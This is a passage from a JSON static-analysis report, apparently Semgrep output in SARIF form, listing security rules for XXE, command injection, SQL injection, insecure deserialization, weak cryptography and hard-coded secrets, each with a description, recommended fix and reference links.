CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"help":{"markdown":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec)\n","text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","id":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","name":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","properties":{"precision":"very-high","tags":["CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","id":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","name":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","id":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","name":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","id":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","name":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask","id":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","name":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask.sqlalchemy-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook OAuth detected"},"help":{"markdown":"Facebook OAuth detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook OAuth detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","id":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","name":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","id":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","name":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"help":{"markdown":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n - [https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0](https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0)\n","text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","id":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","name":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","id":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","name":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request)\n - [https://github.com/parnurzeal/gorequest](https://github.com/parnurzeal/gorequest)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","id":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","name":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a HTML string may result in XSS"},"help":{"markdown":"User controlled data in a HTML string may result in XSS\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"User controlled data in a HTML string may result in 